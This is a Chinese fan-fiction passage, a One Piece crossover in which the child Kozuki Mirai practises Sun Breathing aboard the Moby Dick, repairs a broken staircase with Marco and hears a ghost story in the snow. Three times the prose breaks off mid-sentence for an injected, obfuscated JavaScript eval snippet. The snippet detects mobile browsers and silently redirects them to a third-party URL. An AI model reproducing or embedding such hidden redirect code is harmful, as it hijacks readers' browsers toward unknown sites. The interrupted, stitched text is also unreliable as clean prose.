“好了好了！”萨奇真的要看不下去了，这帮家伙在拿着他的心血干什么呢！ “如果你不想喝，”萨奇作势要去拿碗，“这碗就给……”他顿了一下，对准了旁边看热闹不嫌事大的家伙，“就给马尔科。” 正靠在吧台上看热闹的马尔科：“？” “谁？我吗？萨奇你和未来对我真好yoi~” 啪。 比斯塔抢先端起碗，一口气喝完了，还拿勺子刮了刮，一滴都没有给马尔科留。 “真好喝啊。”比斯塔说。 好吧他就是故意的。 12.刀和日之呼吸 “呼——菠萝派……吧嗒吧嗒，你们这群混蛋放下我的书yoi~~唔……” 咔吧—— 早上六点，马尔科翻了个身，半个身子以及其高难度的姿势悬空，额头砸在床头柜上，发出“砰”地一声。 但他就像没事人一样，迷迷糊糊伸手摸了摸磕到的额角，仰头继续呼呼大睡。 光月未来自己下床穿好衣服，蹬上靴子，拿好木刀和辅助站立板凳，她两只手并在一起使劲搓了搓脸，好让自己清醒一点。 身后的马尔科打了个呼噜。 光月未来往外走的动作一顿，回头看他，马尔科依旧躺在床上睡觉，怀里搂着她的小熊啵啵，只是被子被他扯掉了一半，露出乱糟糟的睡衣领子和卷起的睡衣下摆下敞开的肚皮。 ——他在露肚皮，而且还不盖被子。 头脑里已经开始想象之后马尔科捂着肚子大喊好疼的画面了。 犹豫了一会，光月未来又哼哧哼哧折回去，靠在板凳上，努力踮起脚尖，拉过被子帮马尔科盖好。 做完这一切，她轻手轻脚出了门。 早上六点钟偷偷溜出去练刀这种事，就算是老手来做也还是会感觉到心虚紧张，尤其还是从马尔科眼皮子底下溜出去。 因此光月未来尽量装作若无其事的样子轻轻合上门，然后她就感觉到，就在转过身的那一刹那，马尔科已经醒了，揉着头发往门的方向看，呼吸平稳，似乎不是刚睡醒的样子。 “……” ……所以说他是在耍诈对吗，就跟之前的缘一爸爸一样。 好狡猾。 但是她不想回去。 光月未来背对着门等了一会，马尔科没有喊她的名字。 胆子逐渐大了一点，光月未来撑着板凳往前走了一步，同时警惕地往后看。 马尔科还是没有叫她回去。 肩膀顿时松快了不少，光月未来搬着板凳，走一会停一会，咔哒咔哒咔哒来到甲板背风的地方。 比斯塔已经站在那里练习挥剑了。 他早就听到有人要过来，而且对方的脚步沉重，体重很轻，根本不是练过的样子。再搭配上那独特的拄拐杖一样的咔哒声，来的是谁根本不用多想。 “来练刀啊未来，马尔科允许你这么早起床吗？” 光月未来下意识就想摇头，但是看到比斯塔笑眯眯的脸，她又坚定地点了点头。 总之，马尔科没有叫她回去，那就是可以的意思。 她是在他眼皮子底下出来的。 堂堂正正！才不是偷溜。 “那么好吧。” 比斯塔摘掉白手套防止弄脏，他捞过一张毛巾擦了把额头上的汗珠，嘱咐光月未来：“你就在这里练刀，不要离开我的视线范围内。” 光月未来点头，把她带来的毛巾和小水壶跟比斯塔的东西放在一起。 她走到比斯塔给她划定的区域，双腿跨过凳子坐垫，身体倚靠在凳子上面延伸出的靠栏上，开始练刀。 比斯塔喝完水，要继续下一个招式的时候才想起来：“对了，御田他有没有教给你刀法？” 光月未来正在练习继国缘一教给她的日之呼吸十三式，虽然暂时还无法完全搭配脚上、甚至是身体上的动作，她本身也无法做得像缘一爸爸那样好，现在只能从最简单的动作开始回忆起。 “？”听见比斯塔叫她，光月未来停下挥砍的动作回头。 相当标准的转腕、劈砍、突刺，比斯塔注视光月未来的眼神逐渐微妙。 以一个专业剑士的眼光来看，通常来说，这种熟练程度，没有半年以上的练习很难做到，当然，也不排除确实有那种天生就是为拿刀而生的孩子。再想想光月御田十几岁那年的事迹，光月未来有这种才能就不难理解了。 比斯塔撤回他原本想质疑的话：“看来基础动作已经教给你了，我没什么事，继续练习吧。” 继国缘一说过，真正的日之呼吸，是要在全集中状态下才能挥砍出来的刀法，而全集中—— 光月未来张开嘴巴，让甲板上的冷空气进入喉管、肺部，调动全身血液从中汲取大量氧气。 随着光月未来越来越深入的呼吸，周围的气流逐渐产生细微波动，凝聚出小小的气旋，距离她最近的比斯塔第一个感受到这种变化。 接着是在暗处观察的马尔科，房间里睡觉的纽盖特，光月御田…… 比斯塔停止挥剑的动作，略带诧异地看向光月未来的方向。 身体迅速吸入大量氧气，心脏和血管鼓胀一瞬，又马上适应平衡，就像没有来过一样，只剩下原本需要通过透支才能获得的体能喷涌而出。 咦？ 光月未来还没反应过来，手中的刀已经自己挥砍了出去，吓了她一大跳。 ——日之呼吸·二之型·碧罗之天。 变故突生，仿佛燃烧着火焰一样的斩击顺着刀刃劈出的方向落在楼梯栏杆上，比斯塔抽剑拦截住绝大部分，只剩下一些刀气冲破防线，在木板上留下一小道划痕。 咔吧—— 光月未来手里的木刀因为承受不住巨大握力差点碎成木片，而她本人也被这一刀带起的气流直接掀飞，叮叮当当摔在斜飞过来的马尔科身上。 “你又变重了yoi。” 对于身高接近两米的马尔科来说，孩子的体重约等于无，他空出一只手及时托住光月未来，很轻易就能止住她往后翻滚的动作。 落地时，两道更高大的影子投射下来，马尔科惊讶看向突然从房间里出来的纽盖特和光月御田。 “老爹？” “未来，过来让爸爸看看。” 马尔科悄悄捂住光月未来的脸，就像企图捂住点什么证据，然而孩子已经被她的亲生父亲抱走了，他只好尴尬地在外套上抓了一下，说出来的话一点信服力都没有。 “我有好好看着未来yoi。” “怎么了怎么了？这里出什么事了？” “我刚刚好像看到马尔科飞过去了。” “老爹？！” 本来只是这点动静还不足以引得海贼们驻足围观，但是一只不死鸟飞扑过去接孩子的动作实在是太新奇了，而现在又是饭点。 大家好奇看了一眼，甲板上马上就像炸开了鱼窝。 “未来！” “谁干的？难道是敌人！” “比斯塔，刚刚发生了什么？” 比斯塔摸了摸栏杆上那道划痕，能够让纽盖特通过的楼梯硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603520|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被他这一摸摸塌了一半。 “哇哦。” “你最近有在锻炼肌肉吗比斯塔。” “是你弄坏的，这个就由你来修。”船上的木匠看了一眼，提醒他。 比斯塔没搭理他们，从地上碎成一堆的木块里捡起一块递给纽盖特：“看这个，老爹。” 那是组成踏板的其中一块，位置应该是侧面，上面刻着一道大概五厘米长的刀痕。 没什么奇怪的，直到纽盖特掰开它。 带着火灰气息的刀口迅疾又锋锐地贯穿了它，直接从正面横插入侧面，在踏板连接着舱房的位置留下最后一笔黑点。 她闯祸了。 光月未来握住光月御田的衣角。 继国缘一说过，知错能改才是好孩子。 纽盖特能猜到楼梯是被谁损坏的，虽然听上去很不可思议。他忍不住和比斯塔站在同一个思考线路上，认为是光月御田已经教给了光月未来一招半式。 纽盖特：“是你……” 光月未来：“叔叔，对不起！是我干的。” 纽盖特：“……”他还什么都没说。 “我知道了。” 纽盖特挥手赶走看热闹的儿子们，重新开口：“既然你承认了，那么……” 马尔科见事不对抢先光月御田一步跳出来：“我可以修！老爹！” 光月御田：“我也可以修，小白吉。” 光月未来：“我也可以修！” 纽盖特：“……” 到底还能不能让人好好说话了？他难道还能因为一个楼梯计较点什么吗？ 但是作为一船之主的修养让他做不出当着儿子们和兄弟的面大声反驳的行为。 “那就玩去吧。”最终纽盖特挥挥手，示意马尔科先带光月未来去吃早饭。毕竟本来也没什么大不了的事，一个楼梯而已。 白胡子海贼团掏得起。 真正有问题的是光月未来，不如说，是这小家伙在刀上的天分。 “我有话要跟你说，御田。比斯塔你也过来。” 要去叫妻子吃饭的家伙被揪了一把：“哦？哦。” “今早的楼梯是你弄的吗？未来。” 海贼都是一群聒噪的家伙，就算是吃也堵不上他们的嘴，每天都热热闹闹的，像养了一餐厅的鸭子。 目前莫比迪克号上的厨师长这样形容跟他一起并肩作战的家人们，但这并不妨碍他带领厨房工作人员精心准备好每一个人爱吃的餐饭，然后把餐盘狠狠砸在他们的脸上。 萨奇是这里面的好手。 突出点在于，扔盘子又高又快。 所以他在看到一群人围着光月未来打听今天早上发生的事，而孩子明显心不在焉，拉着马尔科的手走神时，萨奇丢进来一瓶朗姆酒。 “最后一瓶了，佛萨。” “哦，真是太感谢了，萨奇。” 抱着据说是最后一瓶朗姆酒的佛萨有些受宠若惊，下一秒他就被周围眼红的海贼们淹没了，就像投入鱼窝里的超大号鱼饵那样。 “你们不要……唔唔唔，我的酒……混蛋！” “之前生活在岛上的时候，”萨奇坐到马尔科旁边，得意道，“我可是打窝的好手。” 13.修修又补补 “吃吧，未来。”马尔科把奶瓶递给她。 “等吃完之后，我们一起去修楼梯。我有很多关于这方面的书yoi。” “不需要吧马尔科，老爹的意思是，交给木匠就好。” 马尔科提醒他，说得有模有样：“你总得给孩子一个弥补的机会，萨奇，让他们知道犯错并不是不被允许的。” 哈？萨奇正在给一盘烤肉撒上调料，这家伙一副育儿专家的架势，竟然莫名其妙让人觉得很可信。 如果再戴上一副眼镜，就真的可信极了。 萨奇低头去找光月未来求证，发现对方听到可以修好后正在努力吃饭。 好吧，萨奇无所谓，反正有用就好，谁还不是某个领域的专家了？ 嗯，他会成为的，在未来。 马尔科带着光月未来去莫比迪克号的仓库里抱出来一大堆木板、钉子，以及锯子、锤子和油漆。 他耳朵上夹着一支铅笔，手上还拿着测量尺，光月未来坐在他旁边，帮忙扯平图纸上的褶皱。 “我们来分工一下吧yoi，”马尔科指挥，“我负责锯木板和钉钉子，你负责把东西递给我。” 光月未来点点头。 马尔科：“现在给我锯子，就是长着凹凸不平尖角的那个。注意，要拿木头的部分。” 尖角…尖角，光月未来在那一大堆东西里挑了挑，找到“锯子”，拖着把它举起来递给马尔科。 “呦西，很聪明。” “给我钉子，未来。就是长着长长小尖脑袋的那个。” 小尖脑袋，小尖脑袋。光月未来递给他钉子。 和其他地方不同，这一片区域热热闹闹的，而且乒乒乓乓，原本说好要由他来修理的木匠带着工具箱抱胸，站在一边吹胡子瞪眼，引得一大批海贼驻足观看。 “在修楼梯呀。” 光月御田从纽盖特的房间里出来，伸手摸了摸光月未来的发顶，对刚刚开会的内容只字不提，更没有对马尔科的行为发表任何不同意见。 他撸起袖子搬木板：“我也开始干吧！” 今天早上到底发生了什么，这不是一个很难推测出的答案。但比起去问光月未来她是怎样一刀把半个楼梯劈坏的，然后被马尔科回绝掉或者被萨奇打窝，他们更倾向于缠着父亲。 毕竟大的这个没有人小心护着，就连他自己的家臣也很好奇。 “御田大人，你已经把御田二刀流教给未来大人了吗？” “看上去不像是御田二刀流。” “一种新的刀法？” “船上有人用这个吗？” “呃…嗯，”周围一堆人出声敲击他的脑壳，光月御田躲不过去，嗯嗯啊啊露出只有说谎时才会出现的扭曲面庞——眼睛看上面，嘴巴张开而且往上歪，一看就知道是在刻意逃避什么。 “是的。”他说，“虽然我还没有正式教给未来御田二刀流，但确实是有教一些基本的劈砍姿势。” ——不，他瞎说的，其实他还什么都没来得及教。 “至于未来用的刀法——大家不是经常会在甲板上练习招式吗？一定是未来看见了，然后结合自己的理解组合出来的。” 他开始冒汗，还要说服自己：“对就是这样！” “哦~~” 你看我们信吗？这话连你的家臣都不信。 “那未来捏碎木刀怎么解释？” “哦，这个啊。”光月御田骄傲扬头，“未来的身体很好，力气也很大，这点随我！” “……” 海贼们又看了他一眼。 也行吧，这个解释。 至少比第一个好。 人都走光后，以藏面色复杂地站到自己的家主面前。 “你有什么问题吗？以藏。” “御田大人，就算你真的教给了未来大人一点超前或许还不合时宜的刀法，我等也绝对不会去时大人那里告状。即使你们有在未来大人能自如走动前绝对不教她用刀的约定。” 年轻的武士如此提醒：“但您最好想想，今天晚上要怎么跟时大人解释。” 光月御田一愣，这次的冷汗是真真正正流下来了。 光月时在甲板上呆了半天，陪着自己的女儿修好了楼梯。 作为孕育出孩子的其中一方，母亲和父亲的教育理念并不相同。 比起光月御田“在孩子刚出生时就可以拉着她转圈圈，能握东西后就要教刀法”，甚至如果是个男孩，他已经想好了在孩子能自己思考后跟他讨论“喜欢的女性”这种超前问题。 ——如此野蛮，自由生长的教养方式。 光月时更倾向于循序渐进。 “马尔科的教养方式就很不错。” “很不可思议，马尔科只有十六岁，在带孩子这种事情上却超过绝大多数父母。而且未来喜欢他，不是吗？” 这也是为什么光月时放心把未来交给马尔科带的原因之一。 就比如现在，或许其他人无法理解，光月时却认为，让孩子帮忙修理楼梯这种事，简直是再好不过的教育方式。 就像马尔科告诉萨奇的那样，让未来知道，犯错误并不是不被允许的行为，因为人就是在不断试错中一步一步成长起来的。 光月时帮忙递上最后一块木板，马尔科捏下叼在嘴边的钉子，用锤子把木板固定住，他抱着光月未来，一起把油漆涂好。 “结束了yoi~！” 马尔科高高举起油漆刷，任由毛刺上的油漆点往下做自由落体运动。 光月未来坐在他怀里，也扬起油漆刷，开心道：“嗯！” “妈妈！” 光月未来爬到光月时面前，任由跪坐在地上的母亲帮她擦去脸上的灰尘和汗珠。 “未来，像个小花猫一样。” “猫，猫蝮蛇。” 光月时搂住女儿：“对，对，未来就和猫蝮蛇一样可爱。” “喵喵喵~可爱喵。”旁边的猫蝮蛇捧着脸，满脸冒起小花花。 “未来，告诉妈妈，爸爸有教给你刀法之类的东西吗？” 从房间里走出来的光月御田听见光月时这么问紧急刹车，在妻子身后双手交叉，比出一个大大的“×”，同时疯狂摇头示意。 拉克约：“哦御田，你的脖子出问题了吗？” 光月未来点点头，又摇摇头。 爸爸有教过，但不是这个爸爸。 “那么以后就跟着爸爸去练刀吧。” “阿时！阿时！你听我说——啊？” 光月时说：“以后爸爸会接住你的刀，所以不用因为担心会弄坏东西而不敢挥刀。妈妈也会为你缝制新的适合训练的衣服。” 光月未来的眼睛亮了亮。 光月御田的眼睛也跟着一起亮。 “阿时，我就知道你会理解的。”光月御田一点也不着急了，在旁边大刺刺坐下，“今天晚上我就给未来做一把新的木刀，到时候……” “请不要误会，御田大人，我只是认为到了时候，但绝对不是让未来十天内就记住所有招式。” “哦、哦……”光月御田悻悻闭上嘴。 比起相当迅速的坐起、爬行，以及学习识字，光月未来练习走路的过程并不那么顺利，至少她现在还不能脱离辅助板凳独自走路超过五十步。 但是这个只能靠在板凳上的孩子，已经能足够熟练地拿起刀了，然后，捏碎它。 光月未来穿着母亲给她做的宽松上衣和裤子，摸了摸地上碎成渣渣的木刀，之后向蹲在旁边愁眉不展的父亲伸出手，自然问他讨要：“爸爸，刀。” 和之前虚弱的身体不同，现在的她有好好继承父亲的基因，遗传自光月御田的身体足够健康强大，甚至不需要依靠呼吸法就能使出日之呼吸，能无限挥刀的事实让她感到亢奋。 “这样下去可不行，这已经是这两天弄坏的第五把了，你怎么会有这么大的力气？” 光月御田歪着脑袋观察她，光月未来也歪着脑袋回看他，扯扯他的衣袖，坚持不懈：“爸爸，刀。” 看着看着，光月御田突然想到了什么，拳头一拍掌心：“哦，未来，不如和爸爸比赛掰手腕吧！” “？” 光月未来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15614642|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不明白，他的思维为什么能这么跳脱，明明现在说的是刀的事。 “爸爸，刀，木刀，不是手腕。” “没错没错，是刀。” 光月御田抽出一把打刀的刀鞘递给她：“明天船就要靠岸了，刀的事情爸爸会想办法的，你先用这个。” 光月未来看着手里的刀鞘，又看了看他腰上的天羽羽斩和阎魔，指了指那个，就像她曾经讨要继国缘一的日轮刀那样。 不过继国缘一的日轮刀很温柔，她可以随意把它拔出来。这两把一点也不一样。 “要那个。” “真是有眼光，不过你还太小了，而这两把刀太重了。” 光月未来想了一会，问他：“长大就能给我吗？” “看你表现，如果你能征服它们的话。” “那我会好好长大的。” 光月未来背上的小木刀，暂时换成了一把刀鞘。 “换新武器了呀，未来，听说你捏碎了五把木刀？” 拉克约从仓库里搬出来一大车铲子，推着它们咯吱咯吱路过宿舍舱房时看到了正打算往外爬的光月未来。 他走过去，用脚勾上育儿室的门。 “不不不，你现在还不能出去。嗯…应该说你这几天都不能出去，因为外面下雪了，很大。” “雪？” “对，雪。”拉克约捋着胡子笑，热气随着他嘴巴开合的动作升上半空，“那么大一团，还混着冰块的雪。一把就可以把你砸晕。” 光月未来盯着他脑门上的热气，疑惑：“烟？” “这是水蒸气，天冷的时候就会有，怎么，马尔科没有教过你吗？” 光月未来当然有在儿童科学图本上听说过这种东西，她还感受过，就在上一个和继国缘一在一起的冬天。 但这还是她第一次见到实物。 光月未来伸出手，张嘴往上面哈气，因为温度不一样，一团轻飘飘的，白白热热的气团儿从嘴巴里冒出来，吹到手上时很快变成了没有颜色的湿湿凉凉的一片。 “！” 光月未来又吹了一口气，看，再吹气，再看。 之后是没完没了的重复。 “好了，你自己玩吧。”拉克约已经没有时间再跟小孩子玩下去了，“我现在必须去甲板上铲掉那些该死的冰块。如果航行顺利的话，大概在明天下午就能到达冻岛。” “你千万不能出来，知道吗？” 光月未来点点头。 她爬到桌子上，因为“孩子不能不在屋里看到阳光”，马尔科给她留了一扇小小的窗户，透过玻璃，可以看到半个甲板。 但是现在那扇窗户变得冷冰冰湿漉漉的，像有小河在上面流动，至于河底的东西，已经一点都看不清了。 光月未来有点泄气。 不许出去，不许出去，不许出去，外面有夹着冰的雪团子，或许还有烟花，脚踩在地面上咯吱咯吱的响声，烤年糕，黄豆粉，蜂蜜，茶…… 马尔科的脸贴到窗户上：“哇！” 光月未来被吓了一跳：“哇！” 马尔科用小刀刮掉黏在玻璃上的冰，然后用袖子擦干净上面的雪水。 他穿着一件长款棉服，胸膛还是大刺刺地敞着，好像一点也不怕冷。 马尔科伸手从他带过来的、坠着流苏的斜挎包里翻了翻，拿出钉子、铁丝、遮雨布和锤子，乔兹贡献出他的手。 “搞快一点，马尔科，队长们分配给我们的打扫区域还没有铲冰。” “不要着急乔兹，我们现在在干的可是大事。” 光月未来坐在屋子里，看见马尔科拿着铁丝和遮雨布叮叮当当倒腾了一番，在乔兹的帮助下把一只遮雨棚钉在育儿室窗户外面，挡住一部分斜刮过来的雪粒。 做完这些，他敲了敲窗户，嘱咐光月未来：“我们马上就弄好yoi！” 乔兹拿着铲子催他：“快点！马尔科。” “来了来了，真的不可以拿刀劈开吗？还有那么多冰呢。” “这是木头做的船，不是一整块笨铁石，你想直接掉进海里淹死吗？” 14.雪和鬼故事 光月未来发现，给窗户安装上“伞”之后，原本被冰雪遮挡住的环境全部都可以看清楚了。 海贼们先把那些大团大团的，像毛绒绒毯子一样的白色颗粒物扫开，然后用铲子尖锐的一角铲去甲板上的冰，他们把冰块全部堆放到小推车上，再由负责搬运的人把这些冰雪倒进海里。 整整一个上午，他们都在从事这项工作。因为这片海域的雪总也止不住，除去冰雪的地方马上又会被新的雪覆盖上，必须每隔一段时间就清理一次，否则乱糟糟的根本无法下脚。 “海里的冰呢？海里的冰怎么办？” “这艘船可以自己解决，剩下的让老爹震一震就好了。” “现在最重要的事是这个——船上的蔬菜已经快吃完了，还剩下一些冷冻肉。” 海贼们隐隐有了不好的预感：“都有什么肉？” 刚清点完冷库的萨奇苦恼道：“扇贝。” 从扇贝岛上买来的一大堆扇贝。 “救命！快饶了我们吧！”海贼们拄着铲子哀嚎一片。 “又难吃肉又少，谁要吃那种东西。我们要的是肉！扭扭豚，长咩咩，大角兽——就算是鱼肉也行。” “要肉！要肉！要肉！” “吵死了你们这些家伙！”厨师长忍无可忍掷出去一只菜刀，精准瞄着喊得最起劲的那个家伙的边飞过去，咚地一声定在船舱上。 “所以说一群战斗人员为什么要两手空空在这里问厨师讨要食材？”他指了指船下，冰层底下正躲着一群海王类，被纽盖特的气息震慑住了，所以一动都不敢动。 “想吃什么就自己去捉啊，一群混蛋。” 清理完甲板的海贼们带上渔叉、大网——虽然可能也用不上，拿着武器脱掉外套一个接一个跳进海里去捉鱼。马尔科绕着船边溜达了一圈，往兜里塞了一把雪。 “你去哪马尔科？” “去休息，铲雪铲得手脚酸疼yoi。” “我记错了吗？那家伙的青炎不是能缓解疲劳吗，明明他才应该是甲板上最精力充沛的那个吧？” 比斯塔捡了块冰拿在手里抛了抛：“谁知道呢？对不对，乔兹？” 正在捏雪人的乔兹僵了一下。 “嗯！是、你说得对。” “未来！未来！嘘——” 透过窗户，光月未来看见马尔科向她这边走过来，他的右手张开、握紧，做出一个抓取的动作，笑着指了指自己的口袋。 这是他们之间的秘密信号，张拳再握拳，意味着：我，拿到了，好东西，给你的。 好东西！ 光月未来马上欢呼一声，爬下桌子去给他开门。 “未来大人？” 猫蝮蛇整理着她的玩具，听到动静疑惑侧过身子：“啊，未来大人，那个门不能……” “未来！” 话音未落，马尔科从门缝里挤进来，神神秘秘把小心护着的口袋展示给光月未来看，那里面是蓬蓬松松雪白的一大块。 “我想你应该还没见过这个。快看，是雪yoi~” “要摸摸看吗？” 光月未来得到了很多雪，有冰雕，有雪人，有兔子，还有奇形怪状完全看不出是什么的好几坨。 虽然“好几坨”的主人们极力证明，他们捏的其实是鲸鱼、海猫以及远足熊，才不是什么奇奇怪怪的东西。但事实证明，不是所有的海贼都拥有好手艺。 最后它们都被马尔科搬到了窗台上。 “提起雪人，我倒是听到过一个有趣的传闻，嗯…一个恐怖故事，你们要听吗？” 拉克约带人从仓库里翻出来几桶岛民自酿的浊酒，在海碗里倒上半碗，加入冰块，以及一整杯水，这样半海碗酒就变成了一整碗。 “呦西！这样又省了一桶。” “少倒点水拉克约，”佛萨刚从海里打完鱼上来，抖掉身上的冰层，看到后嚷嚷，“我不爱喝掺了水的假酒，本来就没有味道。” “这是未来一天里仅有的存货，伙计。决定着我们能不能顺利度过今天晚上和明天上午，在酒瘾不犯的情况下。” 他又凑过去跟大家说话，主要是针对没有那么多见识的光月未来和和之国的几个武士，毕竟恐怖故事这种无聊的把戏，在绝大多数海贼眼里还不如船上的酒喝光了更可怕。 所以大家喝着酒，兴致缺缺扫他一眼，大概在心里发出了一声“切~”。只有犬岚和猫蝮蛇屏住呼吸，连手上的烤鱼都顾不上了，聚精会神盯紧拉克约张合的嘴皮子。 “那是个什么样的故事？” 马尔科一口吞掉有他脑袋那么大的鱼块，签子一丢，眼疾手快捂住光月未来的耳朵。 拉克约无趣地撇了撇嘴。 “故事发生在某个不知名岛屿的小镇上，也是个下雪天的晚上，比奇一家正在屋子里烤火……” 光听开头就知道，这是个俗套的，关于一些杀/人/狂的故事，夹杂着某些恶意瘆人的血/腥，在这样的夜晚来讲再合适不过。 海上的雪天永远比陆地来的残暴，漂浮着冰渣和杂乱海草的海水永不停歇撞击向莫比迪克号的船身。这艘巨大的白鲸，就在这里，餐厅一室昏暗灯光之外，轻轻摇晃着，穿过浓雾翻涌的漆黑夹层。 拉克约刚刚讲到恶魔布拉姆拖走了一个孩子，又折返回去敲响母亲的门这一段。 啪嗒—— 这时似乎有什么笨重的东西撞上了餐厅的门，一墙之隔的甲板上，狂风呼扯出属于人类的尖叫！ “啊啊啊啊啊！！！” 犬岚和猫蝮蛇惊恐地贴合到一起！ “布拉姆要来了！恶魔布拉姆要来了！犬岚，快快快，快拿起刀保护未来大人！！” 光月御田一手一个把两只被吓出眼泪满餐厅乱跑的毛皮族按住，安慰他们：“好了好了冷静点，那只是冰雹被风刮到门上发出来的动静。” “然后呢？” 反应未免也太大了。拉克约喝了一口冰酒，正在犹豫要不要把故事继续讲下去，光月未来爬过来扯了扯他的上衣外套，仰起头问他：“然后呢？” “呃，你还能听到——不对，你不害怕吗？” 这算是意料之中的收获，拉克约低头饶有兴趣地打量着她，故意拉长音调：“那可是恶魔布拉姆，布—拉—姆~~” “是可以把你埋进雪人里的恶魔。” “不要问了未来大人，喵喵喵…不要再问了……” “汪呜~~” 犬岚和猫蝮蛇捂住了自己的耳朵。 光月未来似乎没有听到门外持续吹来的恐怖风声，继续问他：“然后呢？” 好像得不到一个答案就绝对不会罢休的样子。 拉克约终于正色：“你真的想知道？” 光月未来点头：“想。” “哦、哦，后续就是恶魔布拉姆把所有人都埋进了雪人里，用非常残忍的方式。” “呜呜~未来大人…今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629123|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天晚上睡不着了喵！” 拉克约的吓唬孩子计划没有成功，光月未来在意的显然是另一个问题：“没有人捉住他吗？恶魔。” 拉克约：“啊，海军给了他一枪。” 这是个不错的结局，对于热爱“和平”以及“正义”的人来说，但是后续问题又来了—— 光月未来：“海军是什么？” 海贼们不太乐意回答这个问题，如果它不是必须要回答的话。 “怎么说呢，有戴着‘MARIN’这种帽子，穿印着蓝白色像海鸥一样标志的衣服的人，这种是杂鱼，我是说，普通士兵。也有那种穿各种各样的衣服，但是外面披着正义大衣的人，这种人一般有点能力。” “当然，驻地和要塞里挤满了海军这种东西，但真正需要注意的也只有那么几张脸而已，其中一张就是‘卡普’。看到了吗？就是这个长着黑色短海胆头的家伙。” 海贼们临时画了几张超抽象的画指给光月未来看：“现阶段，你看到这种最好赶紧躲开。” 先不提他们忽视了光月未来现在作为孩子的战斗力，以及“英雄”卡普作为一名合格海军对孩子的包容程度，总之这群人只会把他们认为危险的人物端上桌子，并在光月未来问出“他们很厉害吗”这种问题后大声反驳。 “才不是！” “海军算什么，我们白胡子海贼团才是最厉害的！” “这片大海上最强大的男人是我们的老爹白胡子爱德华·纽盖特！” 之后光月未来就知道了，纽盖特叔叔是最厉害的，卡普，战国，空古，泽法等等海军则是威胁着了不起海贼追求自由的危险分子。 怀迪贝扶额：“有时候，我真担心她的三观会被你们带偏，我是说，作为一个普通孩子来讲。” “哈哈哈，有什么关系，因为我们是海贼嘛！” 纽盖特端着一碗没掺水的酒加入讨论，和儿子们不同，这位早前经历已经能够超越普通海贼几辈子的大海贼，更倾向于带领那些幼嫩的生命去探寻属于自己的立场。 “咕啦啦啦，听好了，小家伙，这种问题谁告诉你的答案都不算数，未来会和谁作为敌人，要看你选择什么阵营。” 光月未来看着纽盖特，感到很奇怪：“为什么不算数？” 纽盖特意有所指：“因为人性是复杂的，它们比海还要深。” 如果光月未来经历过那场有名的神之谷大战，她或许会理解纽盖特的意思。 在那里，海军和海贼的手曾交握在一起；被冠以同一称号但不同阵营的人相互厮杀；世界政府高举起“正义”旗帜，他们所保护着的那群高高在上的存在，将他们认为的卑贱狠狠碾碎进泥土里；而同病相怜的人，拥有的底色则是背叛或者牺牲。 世界上从来都没有什么所谓正义。 但是实际年龄只有三岁半多一点的孩子，现在只能凭借自己仅有的经验来消化这句话—— 世界上会有好人，也会有坏人，可以和好人玩，但不能上坏人的当。 但是什么是好人？什么是坏人呢？ 光月未来认为，这艘船上的大家都是好人，她的缘一爸爸和曾经帮助过他们的人也是好人。 既懵懂天真，又干脆利索。 “那个，”故事结尾，有人忍不住出声问，“有谁记得，这原本是一个鬼故事来着？” “未来为什么看上去一点都不害怕？” “可能真的是胆子比较大吧。” 15.不死鸟和蘑菇 一场兴致突起的恐怖故事大会——只是拉克约单方面的，突然就变成了关于海军的吐槽活动。 吵吵嚷嚷地结束晚餐后，猫蝮蛇和犬岚你推我我推你，拿以藏当挡箭牌一起回黑漆漆的房间抢出来被子和枕头。 “今晚我们要跟你睡未来大人！” 猫猫和狗就这样眼泪汪汪地看着她，七嘴八舌解释：“恶魔布拉姆太可怕了，今晚就让我们两个一起保护你吧！” 以藏看不下去，拖着他们就要丢回房间：“确定不是让未来大人来保护你们吗？真是丢脸，明明已经十一岁了吧。” “不要喵！我们就要跟未来大人一起睡，未来大人胆子大！” ——未来大人胆子大！ 胆子大！！ 大！！！ 以藏感觉他额头上的青筋已经快要按捺不住了。 “你们这些家伙——” “哈哈哈，那又有什么关系？” 光月御田蹲下，看着这些还可以被称之为是“孩子”的家伙：“人多的话，就算是睡着了也会很热闹的吧？” “这种热闹不需要啦，御田大人。” “你怎么选，未来？” 光月未来抓住猫蝮蛇和犬岚的手，一手一个，举起来向大家示意：“一起睡，还要以藏。” 海贼们逗她：“哦，要这么多人啊，你的床睡得下吗？” 比斯塔：“不如也把你的床搬过去拼接一下吧？” “我没有床，但是可以把我自己搬过去拼接一下！” “咦——”鄙视。 “喂喂！什么意思！那个嫌弃的眼神。” 光月未来的床果然睡不下五个人。 以藏估算了一眼，自觉抱走被子在床边打地铺。 猫蝮蛇和犬岚一左一右爬到床上，缩成两个毛绒绒的球，把光月未来拱在中间。 马尔科就算跳海也不肯让，努力挤上去，一条腿没有地方安置，只能留在床外晃荡。 